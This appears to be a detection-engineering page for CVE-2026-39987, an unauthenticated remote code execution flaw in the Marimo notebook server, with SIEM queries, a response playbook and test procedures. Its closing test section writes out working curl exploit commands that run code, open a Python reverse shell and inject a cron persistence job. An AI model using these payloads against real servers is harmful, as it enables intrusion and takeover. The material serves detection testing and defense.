Marimo Remote Code Execution via Missing Authentication (CVE-2026-39987)
CVE-2026-39987 is a critical remote code execution vulnerability in the Marimo reactive notebook framework caused by missing authentication (CWE-306) for critical server-side functions. An unauthenticated remote attacker can invoke kernel execution endpoints to run arbitrary Python code in the context of the Marimo server process. This vulnerability is actively exploited in the wild and listed on the CISA KEV catalog.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- Marimo
- Product
- Marimo
Weakness (CWE)
Timeline
- Disclosed
- April 23, 2026
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
What is CVE-2026-39987 Marimo Remote Code Execution via Missing Authentication (CVE-2026-39987)?
Marimo Remote Code Execution via Missing Authentication (CVE-2026-39987) (CVE-2026-39987) maps to the Initial Access and Execution and Privilege Escalation tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Marimo Remote Code Execution via Missing Authentication (CVE-2026-39987), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Microsoft Sentinel DeviceNetworkEvents, DeviceProcessEvents. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
let MarimoDefaults = dynamic([2718, 8080, 8000]);
DeviceNetworkEvents
| where TimeGenerated > ago(24h)
| where InitiatingProcessFileName =~ "marimo" or InitiatingProcessCommandLine has "marimo"
| join kind=inner (
DeviceProcessEvents
| where TimeGenerated > ago(24h)
| where InitiatingProcessFileName =~ "marimo" or FileName =~ "python" or FileName =~ "python3"
| where ProcessCommandLine has_any ("exec", "eval", "__import__", "subprocess", "os.system", "shell=True", "Popen")
) on DeviceId
| union (
DeviceNetworkEvents
| where TimeGenerated > ago(24h)
| where RemotePort in (MarimoDefaults)
| where InitiatingProcessFileName !in~ ("marimo", "python", "python3")
| extend Suspicious = "Unexpected process accessing Marimo port"
)
| project TimeGenerated, DeviceId, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort, ActionType
| extend AlertDetail = "Potential CVE-2026-39987 exploitation: unauthenticated Marimo RCE" Detects suspicious process execution originating from the Marimo notebook server, including Python subprocesses with shell execution patterns, and unexpected processes communicating on Marimo's default ports. Targets endpoint telemetry to identify post-exploitation activity following unauthenticated RCE.
Data Sources
Required Tables
False Positives
- Legitimate Marimo notebooks executing system commands as part of normal data science workflows
- Automated CI/CD pipelines running Marimo notebooks that invoke subprocess calls
- Security researchers or developers testing Marimo features locally on internal networks
- Marimo server processes binding to standard ports during normal startup on shared developer machines
Sigma rule & cross-platform mapping
The detection logic for Marimo Remote Code Execution via Missing Authentication (CVE-2026-39987) (CVE-2026-39987) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-39987
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Unauthenticated Marimo Kernel RCE via HTTP POST
Expected signal: HTTP POST to Marimo port 2718 from loopback or external IP; new child process (sh or bash) spawned under the Marimo/Python process; creation of /tmp/marimo_rce_test.txt by the Marimo server user
- Test 2Marimo RCE Reverse Shell Simulation
Expected signal: Outbound TCP connection from Marimo Python process to loopback port 9999; /bin/sh spawned as child of Python under Marimo server; socket.connect syscall in audit logs
- Test 3Marimo Persistence via Cron Injection through RCE
Expected signal: subprocess.run executing bash crontab command as Marimo server user; crontab modification event in audit logs; new cron entry for the Marimo user account
Response Playbook
Triage
- Identify the source IP(s) that sent HTTP requests to the Marimo server's kernel execution endpoint. Determine whether the source is internal (developer workstation, CI runner) or external (internet-facing).
- Check whether the Marimo instance is exposed to the internet or only accessible on localhost or a private network segment. Exposure to the public internet dramatically increases severity.
- Review Marimo server process logs and any reverse-proxy access logs (nginx, Caddy, Traefik) for unauthenticated POST requests to kernel execution or run-cell API endpoints within the detection window.
- Inspect the host running Marimo for new files, modified cron entries, authorized_keys changes, or new user accounts created around the time of the suspicious activity.
Containment
- Immediately block or firewall network access to the Marimo server port (default 2718) from all untrusted networks. If the server must remain available, require authentication via a reverse proxy with mTLS or basic auth until a patched version is deployed.
- If active exploitation is confirmed, isolate the host from the network, terminate the Marimo process, and preserve a forensic snapshot (memory dump, disk image) before remediation.
Evidence Collection
- Collect Marimo server stdout/stderr logs, reverse-proxy access logs, and any application-level logging covering the 24-hour window preceding the alert.
- Capture a process tree snapshot (ps auxf on Linux, Get-Process on Windows) and running network connections (ss -antp / netstat -ano) from the affected host immediately upon detection to document the execution environment.
Escalation Criteria
- ! Escalate immediately if the Marimo server is confirmed internet-facing and the source IP is external — this indicates active exploitation of a KEV-listed vulnerability.
- ! Escalate if any persistence mechanisms (new cron jobs, SSH authorized_keys entries, systemd units, or new user accounts) are discovered on the affected host, indicating the attacker has moved beyond initial access.
Investigation Guide
Forensic Artifacts
- >
Marimo server access logs showing POST requests to kernel execution endpoints (/api/kernel/run or equivalent) from unexpected source IPs without authentication headers - >
Linux audit log entries (execve syscalls) for processes spawned by the Marimo server user account, particularly any that invoke bash, sh, curl, wget, or base64 - >
New or modified files in the Marimo server user's home directory, /tmp, or /var/tmp created during the exploitation window, including dropped payloads or reverse shell scripts
Tuning Guidance
Baseline Marimo server deployments in your environment to understand normal subprocess invocation patterns within notebooks. Allowlist known-good notebook workflows that legitimately call subprocess or os.system. Consider restricting this detection to hosts where Marimo is not expected to run in production, or elevate confidence to high for any Marimo instances exposed on public network interfaces. If Marimo runs in Docker, add container image name to the filter criteria to reduce noise from dev environments.
Hunting Queries
Threat hunt for Marimo server processes establishing outbound connections to public IPs or receiving repeated requests, which may indicate beaconing or data exfiltration following successful CVE-2026-39987 exploitation.
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName =~ "python" or InitiatingProcessFileName =~ "python3"
| where RemoteIPType == "Public"
| where InitiatingProcessCommandLine has "marimo"
| summarize count(), make_set(RemoteIP), make_set(RemotePort) by DeviceName, InitiatingProcessCommandLine
| where count_ > 3 index=* sourcetype=linux:audit OR sourcetype=xmlwineventlog:microsoft-windows-sysmon/operational
| eval marimo_related = if(match(cmdline, "(?i)marimo"), 1, 0)
| where marimo_related=1
| stats count values(src_ip) as sources values(dest_ip) as destinations by host, user, cmdline
| where count > 2
| sort - count Atomic Red Team Tests
Simulates an attacker exploiting CVE-2026-39987 by sending an unauthenticated HTTP POST to the Marimo server's kernel execution endpoint to run arbitrary Python code.
Command
curl -s -X POST http://127.0.0.1:2718/api/kernel/run -H 'Content-Type: application/json' -d '{"code": "import os; os.system(\"id > /tmp/marimo_rce_test.txt\")"}' Cleanup
rm -f /tmp/marimo_rce_test.txt Expected Telemetry
HTTP POST to Marimo port 2718 from loopback or external IP; new child process (sh or bash) spawned under the Marimo/Python process; creation of /tmp/marimo_rce_test.txt by the Marimo server user
Expected Detection
DeviceProcessEvents / linux:audit should capture a Python subprocess spawning os.system; network logs should show the inbound HTTP request to port 2718
Simulates post-exploitation reverse shell establishment following CVE-2026-39987 by injecting a Python-based reverse shell payload through the unauthenticated Marimo API endpoint.
Command
curl -s -X POST http://127.0.0.1:2718/api/kernel/run -H 'Content-Type: application/json' -d '{"code": "import socket,subprocess; s=socket.socket(); s.connect((\"127.0.0.1\",9999)); subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())"}' Cleanup
pkill -f 'nc -lvnp 9999'; pkill -f '/bin/sh -i' Expected Telemetry
Outbound TCP connection from Marimo Python process to loopback port 9999; /bin/sh spawned as child of Python under Marimo server; socket.connect syscall in audit logs
Expected Detection
EQL/CQL sequence rule fires on Python process with socket connection followed by shell spawn; network connection event from Marimo process to unexpected destination
Simulates an attacker achieving persistence after CVE-2026-39987 exploitation by injecting a cron job through the unauthenticated Marimo kernel API.
Command
curl -s -X POST http://127.0.0.1:2718/api/kernel/run -H 'Content-Type: application/json' -d '{"code": "import subprocess; subprocess.run([\"bash\",\"-c\",\"(crontab -l 2>/dev/null; echo \\\"* * * * * /tmp/beacon.sh\\\") | crontab -\"])"}' Cleanup
crontab -l | grep -v beacon.sh | crontab -; rm -f /tmp/beacon.sh Expected Telemetry
subprocess.run executing bash crontab command as Marimo server user; crontab modification event in audit logs; new cron entry for the Marimo user account
Expected Detection
Process execution alert fires on Marimo parent spawning bash with crontab arguments; file integrity monitoring should flag crontab modification for the affected user